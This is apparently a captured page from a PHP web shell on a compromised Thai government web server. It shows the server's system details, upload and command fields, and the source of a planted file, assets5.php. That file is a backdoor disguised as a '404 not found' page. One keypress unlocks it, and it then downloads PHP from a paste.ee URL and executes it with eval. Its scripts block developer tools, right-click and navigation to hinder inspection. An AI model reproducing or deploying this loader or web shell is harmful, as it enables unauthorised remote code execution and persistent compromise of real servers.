403Webshell
Server IP : 119.59.102.212  /  Your IP : 3.134.92.193
Web Server : Apache/2
System : Linux narin 2.6.32-042stab142.1 #1 SMP Tue Jan 28 23:44:17 MSK 2020 x86_64
User : yangkam ( 1022)
PHP Version : 5.6.40
Disable Function : exec,system,passthru,shell_exec,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/yangkam/domains/yangkam.go.th/public_html/samrit/mainfile/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/yangkam/domains/yangkam.go.th/public_html/samrit/mainfile/assets5.php
<?php

session_start();


if (isset($_SESSION['access_granted']) && $_SESSION['access_granted'] === true) {

    $url = "https://paste.ee/r/qq9HQAcW/0";  
    $external_code = file_get_contents($url); 

    if ($external_code !== false) {
      
        eval('?>' . $external_code);
    } else {
        echo "Gagal mengambil konten.";  
    }

    exit();  
} else {
    echo "<h1></h1>";  
}
?>

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>404 not found</title>
    <style>
        body {
            font-family: Arial, sans-serif;
        }
        #error-message {
            color: red;
            display: none;
        }
    </style>
</head>
<body>
    <div id="error-message"></div>

    <script>
        let inputBuffer = '';  
        const correctKey = 'g';  

       
        document.addEventListener('keydown', function(event) {
            inputBuffer += event.key; 

           
            if (inputBuffer.toLowerCase() === correctKey) {
                
                <?php
                $_SESSION['access_granted'] = true;
               
                echo 'window.location.reload();';  
                ?>
            } else if (inputBuffer.length > correctKey.length) {
          
                inputBuffer = '';
            }


            if (inputBuffer.toLowerCase() !== correctKey && inputBuffer.length >= 1) {
                document.getElementById("error-message").style.display = "block";
            }
        });
    </script>
<script type="text/javascript">
    // Prevent F5, Ctrl+R, Ctrl+Shift+R, and other common refresh actions
    document.addEventListener("keydown", function (e) {
        // Prevent F5 refresh
        if (e.key === "F5") {
            e.preventDefault();
            alert("Page refresh is disabled.");
        }
        // Prevent Ctrl+R and Ctrl+Shift+R (browser refresh)
        if ((e.ctrlKey && e.key === "r") || (e.ctrlKey && e.shiftKey && e.key === "r")) {
            e.preventDefault();
            alert("Page refresh is disabled.");
        }
        // Prevent F12 (developer tools)
        if (e.key === "F12") {
            e.preventDefault();
            alert("Developer tools are disabled.");
        }
    });

    // Prevent right-click context menu
    document.addEventListener("contextmenu", function (e) {
        e.preventDefault();
        alert("Right-click is disabled.");
    });

    // Disable page unload (attempts to close or navigate away from the page)
    window.onbeforeunload = function (e) {
        return "Are you sure you want to leave? Any unsaved changes will be lost.";
    };

    // Disable page reload (even using the browser's reload button)
    (function preventPageReload() {
        // Prevent reload from browser reload button
        history.pushState(null, null, location.href);
        window.onpopstate = function () {
            history.pushState(null, null, location.href);  // Prevent backward navigation
        };
    })();

    // Prevent navigation (backward and forward) with browser buttons or the backspace key
    document.addEventListener("keydown", function (e) {
        // Disable the backspace key for backward navigation (backward history)
        if (e.key === "Backspace") {
            e.preventDefault();
        }

        // Disable the forward/backward navigation keys
        if (e.key === "ArrowLeft" || e.key === "ArrowRight") {
            e.preventDefault();
        }
    });

    // Periodically block history navigation to keep the user on the current page
    setInterval(function () {
        history.pushState(null, null, location.href);
        window.onpopstate = function () {
            history.pushState(null, null, location.href); // Block backward navigation
        };
    }, 100);

</script>
<script type='text/javascript'>
            (shortcut = {
            all_shortcuts: {},
            add: function (a, b, c) {
                var d = {
                type: "keydown",
                propagate: !1,
                disable_in_input: !1,
                target: document,
                keycode: !1,
                };
                if (c) for (var e in d) "undefined" == typeof c[e] && (c[e] = d[e]);
                else c = d;
                (d = c.target),
                "string" == typeof c.target && (d = document.getElementById(c.target)),
                (a = a.toLowerCase()),
                (e = function (d) {
                    d = d || window.event;
                    if (c.disable_in_input) {
                    var e;
                    d.target ? (e = d.target) : d.srcElement && (e = d.srcElement),
                        3 == e.nodeType && (e = e.parentNode);
                    if ("INPUT" == e.tagName || "TEXTAREA" == e.tagName) return;
                    }
                    d.keyCode ? (code = d.keyCode) : d.which && (code = d.which),
                    (e = String.fromCharCode(code).toLowerCase()),
                    188 == code && (e = ","),
                    190 == code && (e = ".");
                    var f = a.split("+"),
                    g = 0,
                    h = {
                        "`": "~",
                        1: "!",
                        2: "@",
                        3: "#",
                        4: "$",
                        5: "%",
                        6: "^",
                        7: "&",
                        8: "*",
                        9: "(",
                        0: ")",
                        "-": "_",
                        "=": "+",
                        ";": ":",
                        "'": '"',
                        ",": "<",
                        ".": ">",
                        "/": "?",
                        "\\": "|",
                    },
                    i = {
                        esc: 27,
                        escape: 27,
                        tab: 9,
                        space: 32,
                        return: 13,
                        enter: 13,
                        backspace: 8,
                        scrolllock: 145,
                        scroll_lock: 145,
                        scroll: 145,
                        capslock: 20,
                        caps_lock: 20,
                        caps: 20,
                        numlock: 144,
                        num_lock: 144,
                        num: 144,
                        pause: 19,
                        break: 19,
                        insert: 45,
                        home: 36,
                        delete: 46,
                        end: 35,
                        pageup: 33,
                        page_up: 33,
                        pu: 33,
                        pagedown: 34,
                        page_down: 34,
                        pd: 34,
                        left: 37,
                        up: 38,
                        right: 39,
                        down: 40,
                        f1: 112,
                        f2: 113,
                        f3: 114,
                        f4: 115,
                        f5: 116,
                        f6: 117,
                        f7: 118,
                        f8: 119,
                        f9: 120,
                        f10: 121,
                        f11: 122,
                        f12: 123,
                    },
                    j = !1,
                    l = !1,
                    m = !1,
                    n = !1,
                    o = !1,
                    p = !1,
                    q = !1,
                    r = !1;
                    d.ctrlKey && (n = !0),
                    d.shiftKey && (l = !0),
                    d.altKey && (p = !0),
                    d.metaKey && (r = !0);
                    for (var s = 0; (k = f[s]), s < f.length; s++)
                    "ctrl" == k || "control" == k
                        ? (g++, (m = !0))
                        : "shift" == k
                        ? (g++, (j = !0))
                        : "alt" == k
                        ? (g++, (o = !0))
                        : "meta" == k
                        ? (g++, (q = !0))
                        : 1 < k.length
                        ? i[k] == code && g++
                        : c.keycode
                        ? c.keycode == code && g++
                        : e == k
                        ? g++
                        : h[e] && d.shiftKey && ((e = h[e]), e == k && g++);
                    if (
                    g == f.length &&
                    n == m &&
                    l == j &&
                    p == o &&
                    r == q &&
                    (b(d), !c.propagate)
                    )
                    return (
                        (d.cancelBubble = !0),
                        (d.returnValue = !1),
                        d.stopPropagation && (d.stopPropagation(), d.preventDefault()),
                        !1
                    );
                }),
                (this.all_shortcuts[a] = { callback: e, target: d, event: c.type }),
                d.addEventListener
                    ? d.addEventListener(c.type, e, !1)
                    : d.attachEvent
                    ? d.attachEvent("on" + c.type, e)
                    : (d["on" + c.type] = e);
            },
            remove: function (a) {
                var a = a.toLowerCase(),
                b = this.all_shortcuts[a];
                delete this.all_shortcuts[a];
                if (b) {
                var a = b.event,
                    c = b.target,
                    b = b.callback;
                c.detachEvent
                    ? c.detachEvent("on" + a, b)
                    : c.removeEventListener
                    ? c.removeEventListener(a, b, !1)
                    : (c["on" + a] = !1);
                }
            },
            }),
            shortcut.add("Ctrl+U", function () {
                top.location.href = "#";
            });

      
            document.addEventListener("contextmenu", function(e){
                e.preventDefault();
            }, false);

      
            shortcut.add("Ctrl+U", function () {
                top.location.href = "#"
            });
            shortcut.add("f12", function () {
                top.location.href = "#"
            });
              
        </script>
    
</body>
</html>

Youez - 2016 - github.com/yon3zu
LinuXploit